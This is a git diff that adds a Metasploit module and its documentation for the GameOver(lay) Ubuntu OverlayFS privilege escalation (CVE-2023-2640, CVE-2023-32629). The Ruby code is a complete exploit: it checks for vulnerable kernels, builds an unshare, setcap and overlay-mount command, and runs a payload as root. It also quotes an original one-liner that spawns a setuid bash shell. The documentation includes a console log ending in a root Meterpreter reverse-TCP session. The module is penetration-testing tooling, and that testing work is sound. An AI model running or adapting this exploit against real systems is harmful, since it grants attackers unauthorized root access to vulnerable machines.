diff --git a/documentation/modules/exploit/linux/local/gameoverlay_privesc.md b/documentation/modules/exploit/linux/local/gameoverlay_privesc.md new file mode 100644 index 000000000000..0630406fe0ca --- /dev/null +++ b/documentation/modules/exploit/linux/local/gameoverlay_privesc.md @@ -0,0 +1,157 @@ +## Description + +CVE-2023-2640 and CVE-2023-32629 are vulnerabilities that allow for the arbitrary setting of +capabilities while overlaying filesystems. On most Linux Kernels during the execution of + `ovl_do_setxattr` an intermediate function `vfs_setxatrr` converts file capabilities in a +way that limits them to the current namespace. However, on some versions of the Ubuntu kernel + `_vfs_setxattr_noperm` is called directly without calling `vfs_setxattr`. + +When a new namespace is created the user will technically be "root" within that given +namespace. This module will take advantage of this by setting the `CAP_SETUID` capability +on a system binary. It will then perform filesystem overlay, copying the binary into the lower +directory. Because of the flaws described above when the binary is transferred into the upper +directory its capabilities will not be sanitized and persist in the "normal" namespace. + +## Vunerable Application + +These vulnerabilities are somewhat unique in that they effect a wide variety of Ubuntu releases +and kernel versions, as described in the list below. + +Ubuntu 23.04 (Lunar Lobster)m kernel 6.2.0, (CVE-2023-2640 & CVE-2023-32629) + +Ubuntu 22.10 (Kinetic Kudu), kernel -> 5.19.0, (CVE-2023-2640 & CVE-2023-32629) + +Ubuntu 22.04 LTS (Jammy Jellyfish), kernel -> 5.19.0, (CVE-2023-2640 & CVE-2023-32629) + +Ubuntu 22.04 LTS (Jammy Jellyfish), kernel -> 6.2.0, (CVE-2023-2640 & CVE-2023-32629) + +Ubuntu 20.04 LTS (Focal Fossa), kernel -> 5.4.0, (CVE-2023-32629) + +Ubuntu 18.04 LTS (Bionic Beaver), kernel -> 5.4.0, (CVE-2023-32629) + +The user can download a vulnerable version, for example: + +``` +sudo apt update +sudo apt install -y linux-image-5.19.0-41-generic linux-headers-5.19.0-41-generic +reboot +``` +While testing, @bwatters7 mentioned taking the system offline as this appears to be patched automatically. +Be sure to take the system offline to prevent the vulnerabilities from silently being patched. + +This module has successfully been tested on the following: + +Ubuntu 22.04 LTS (Jammy Jellyfish) 5.19.0-41-generic + +Ubuntu 20.04 LTS (Focal Fossa) 5.4.0-1018-aws + +## Verification Steps + +1). Start `msfconsole` + +2). Get a session on a vulnerable system + +3). Use `exploit/linux/local/gameoverlay_privesc` + +4). Optional: choose target for payload, either linux binary (0) or [li|u]nix command (1) +`set target 1` + +5). Set session `set session [SESSION]` + +5). Do. `run` + +6). You should get a new session running as root. + +## Options + +### Payload File Name +Name of the file storing the payload, default is random. + +### Writable Dir +The name of a directory with write permissions, default is `/tmp`. This will be where the +payload file will be created if necessary. Additionally during the exploit a series of directories will be +created here to perform the filesystem overlaying. + +## Scenarios + +You have a non-root session on one of the systems described above. Please note that this +module will automatically run checks to determine if the system is vulnerable, you can disable +this with `set AutoCheck False`. + +``` +msf6 exploit(linux/local/gameoverlay_privesc) > +[*] Sending stage (3045380 bytes) to 10.5.132.129 +[*] Meterpreter session 3 opened (10.5.135.201:4585 -> 10.5.132.129:33504) at 2024-12-18 14:02:15 -0600 + +msf6 exploit(linux/local/gameoverlay_privesc) > set session 3 +session => 3 +msf6 exploit(linux/local/gameoverlay_privesc) > show options + +Module options (exploit/linux/local/gameoverlay_privesc): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + PayloadFileName pSueaCXrnzH yes Name of payload + SESSION 3 yes The session to run this module on + WritableDir /tmp yes A directory where we can write files + + +Payload options (linux/x64/meterpreter/reverse_tcp): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + LHOST 10.5.135.201 yes The listen address (an interface may be specified) + LPORT 4444 yes The listen port + + +Exploit target: + + Id Name + -- ---- + 0 Linux_Binary + + + +View the full module info with the info, or info -d command. + +msf6 exploit(linux/local/gameoverlay_privesc) > run + +[*] Started reverse TCP handler on 10.5.135.201:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Detected Ubuntu version: Jammy Jellyfish +[*] Detected kernel version: 5.19.0-41-generic +[+] The target is vulnerable. Jammy Jellyfish with 5.19.0-41-generic kernel is vunerable +[*] Creating directory to store payload: /tmp/ODBpneOXk/ +[*] Creating directory /tmp/ODBpneOXk/ +[*] /tmp/ODBpneOXk/ created +[*] Creating directory /tmp/ODBpneOXk/ +[*] Creating directory /tmp/ODBpneOXk/ +[*] /tmp/ODBpneOXk/ created +[*] Creating directory /tmp/ODBpneOXk/bmbtPAX/ +[*] Creating directory /tmp/ODBpneOXk/bmbtPAX/ +[*] /tmp/ODBpneOXk/bmbtPAX/ created +[*] Creating directory /tmp/ODBpneOXk/JtNbwLXJKw/ +[*] Creating directory /tmp/ODBpneOXk/JtNbwLXJKw/ +[*] /tmp/ODBpneOXk/JtNbwLXJKw/ created +[*] Creating directory /tmp/ODBpneOXk/hEhbByWL/ +[*] Creating directory /tmp/ODBpneOXk/hEhbByWL/ +[*] /tmp/ODBpneOXk/hEhbByWL/ created +[*] Creating directory /tmp/ODBpneOXk/yvvSFre/ +[*] Creating directory /tmp/ODBpneOXk/yvvSFre/ +[*] /tmp/ODBpneOXk/yvvSFre/ created +[*] Writing payload: /tmp/ODBpneOXk/pSueaCXrnzH +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 10.5.132.129 +[*] rm: cannot remove '/tmp/ODBpneOXk/yvvSFre/': Device or resource busy +[*] Meterpreter session 4 opened (10.5.135.201:4444 -> 10.5.132.129:44400) at 2024-12-18 14:02:42 -0600 + +meterpreter > getuid +Server username: root +meterpreter > sysinfo +Computer : 10.5.132.129 +OS : Ubuntu 22.04 (Linux 5.19.0-41-generic) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux + +``` diff --git a/modules/exploits/linux/local/gameoverlay_privesc.rb b/modules/exploits/linux/local/gameoverlay_privesc.rb new file mode 100644 index 000000000000..4172164bff0e --- /dev/null +++ b/modules/exploits/linux/local/gameoverlay_privesc.rb @@ -0,0 +1,187 @@ +class MetasploitModule < Msf::Exploit::Local + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Post::Linux::System + include Msf::Post::Linux::Kernel + include Msf::Post::File + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'GameOver(lay) Privilege Escalation and Container Escape', + 'Description' => %q{ + This module exploits the use of unsafe functions in a number of Ubuntu kernels + utilizing vunerable versions of overlayfs. To mitigate CVE-2021-3493 the Linux + kernel added a call to vfs_setxattr during ovl_do_setxattr. Due to independent + changes to the kernel by the Ubuntu development team __vfs_setxattr_noperm is + called during ovl_do_setxattr without calling the intermediate safety function + vfs_setxattr. Ultimatly this module allows for root access to be achieved by + writing setuid capabilities to a file which are not sanitized after being unioned + with the upper mounted directory. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'g1vi', # PoC + 'h00die', # Module Suggestion + 'bwatters-r7', # MsF Module + 'gardnerapp', # MsF Module + ], + 'Platform' => ['linux', 'unix'], + 'SessionTypes' => ['shell', 'meterpreter'], + 'DisclosureDate' => '2023-07-26', + 'References' => [ + ['URL', 'https://www.crowdstrike.com/blog/crowdstrike-discovers-new-container-exploit/'], + ['URL', 'https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629'], + ['URL', 'https://www.cvedetails.com/cve/CVE-2023-2640/'], + ['URL', 'https://www.cvedetails.com/cve/CVE-2023-32629/'], + ['URL', 'https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability'], + ['CVE', '2023-32629'], + ['CVE', '2023-2640'] + ], + 'Targets' => [ + [ + 'Linux_Binary', + { + 'Arch' => [ ARCH_AARCH64, ARCH_X64 ], + 'PrependSetuid' => true + } + ], + [ + 'Linux_Command', + { + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'BadChars' => "\x22\x27" + } + } + ] + ], + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK] + } + ) + ) + register_options [ + OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp']), + OptString.new('PayloadFileName', [true, 'Name of payload', Rex::Text.rand_text_alpha(rand(8..12))]) + ] + end + + def vuln + # Keys are ubuntu versions, vals is list of vunerable kernels + { + "Lunar Lobster": %w[6.2.0], # Ubuntu 23.04 + "Kinetic Kudu": %w[5.19.0], # Ubuntu 22.10 + "Jammy Jellyfish": %w[5.19.0 6.2.0], # Ubuntu 22.04 LTS + "Focal Fossa": %w[5.4.0], # Ubuntu 20.04 LTS + "Bionic Beaver": %w[5.4.0] # Ubuntu 18.04 LTS + }.transform_keys!(&:to_s) # w/o this key will be :"Bionic Beaver" + end + + def check + return CheckCode::Safe('Target is not linux.') unless session.platform == 'linux' + + # Must be Ubuntu + return CheckCode::Safe('Target is not Ubuntu.') unless kernel_version =~ /[uU]buntu/ + + os = cmd_exec 'cat /etc/os-release' + + # grab codename i.e. Focal Fossa + codename = os.scan(/\(\w* \w*\)/)[0] + + # Remove '(' and ')' + codename.delete_prefix!('(').delete_suffix!(')') + + print_status "Detected Ubuntu version: #{codename}" + + # uname -r + # yields something like 5.4.0-1018-blah + kernel = kernel_release + print_status "Detected kernel version: #{kernel}" + + # Make sure release is running vunerable kernel + # will this return in correct context?? + # could scan kernel to prevent looping if return below doesn't work + vuln[codename].each do |version| + if kernel.include? version + return CheckCode::Vulnerable "#{codename} with #{kernel} kernel is vunerable" + end + end + + return CheckCode::Safe('Target does not appear to be running a vunerable Ubuntu Distro or Kernel') + end + + def exploit + pay_dir = datastore['WritableDir'] + pay_dir += '/' unless pay_dir.ends_with? '/' + + pay_dir += Rex::Text.rand_text_alpha(rand(6..13)) + '/' + + print_status "Creating directory to store payload: #{pay_dir}" + mkdir pay_dir + + directories = [] + directories << pay_dir + + lower_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/' + directories << lower_dir + + upper_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/' + directories << upper_dir + + work_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/' + directories << work_dir + + merge_dir = pay_dir + Rex::Text.rand_text_alpha(rand(6..13)) + '/' + directories << merge_dir + + bash_copy = '/var/tmp/' + Rex::Text.rand_text_alpha(rand(6..13)) + # bash_copy = '/var/tmp/bash' + + directories.each do |dir| + print_status "Creating directory #{dir}" + mkdir dir.to_s + end + + if target.arch.first == ARCH_CMD + payload_cmd = payload.encoded + else + pay_file = datastore['PayloadFilename'] + payload_path = "#{pay_dir}#{pay_file}" + print_status "Writing payload: #{payload_path}" + write_file(payload_path, generate_payload_exe) + payload_cmd = payload_path + end + + # g1vi original + # "unshare -rm sh -c \"mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;\" && u/python3 -c 'import os;os.setuid(0);os.system(\"cp /bin/bash /var/tmp/bash && chmod 4755 /var/tmp/bash && /var/tmp/bash -p && rm -rf l m u w /var/tmp/bash\")'" + + # Exploit overlayfs vuln + # Build the command + rmrf_cmd = " rm -rf #{lower_dir} #{merge_dir} #{upper_dir} #{work_dir} #{bash_copy}" + + exploit_cmd = 'unshare -rm sh -c "' + exploit_cmd << "cp #{cmd_exec('which python3')} #{lower_dir}; " + exploit_cmd << "setcap cap_setuid+eip #{lower_dir}python3; " + exploit_cmd << "mount -t overlay overlay -o rw,lowerdir=#{lower_dir},upperdir=#{upper_dir},workdir=#{work_dir} #{merge_dir} && " + exploit_cmd << "touch #{merge_dir}*; " + exploit_cmd << "#{upper_dir}python3 -c 'import os;os.setuid(0);os.system(" + exploit_cmd << "\\\"cp /bin/bash #{bash_copy} && chmod +x #{bash_copy} && " + if target.arch.first == ARCH_CMD + payload_cmd.gsub!('\\\\\\', '\\\\\\\\') + exploit_cmd << "#{bash_copy} -p -c \\\\\\\"(#{payload_cmd}); #{rmrf_cmd}\\\\\\\"" + else + exploit_cmd << "chmod +x #{payload_cmd} && #{payload_cmd} & #{rmrf_cmd}" + end + exploit_cmd << "\\\")'\"" + output = cmd_exec(exploit_cmd) + vprint_status(output) + end + +end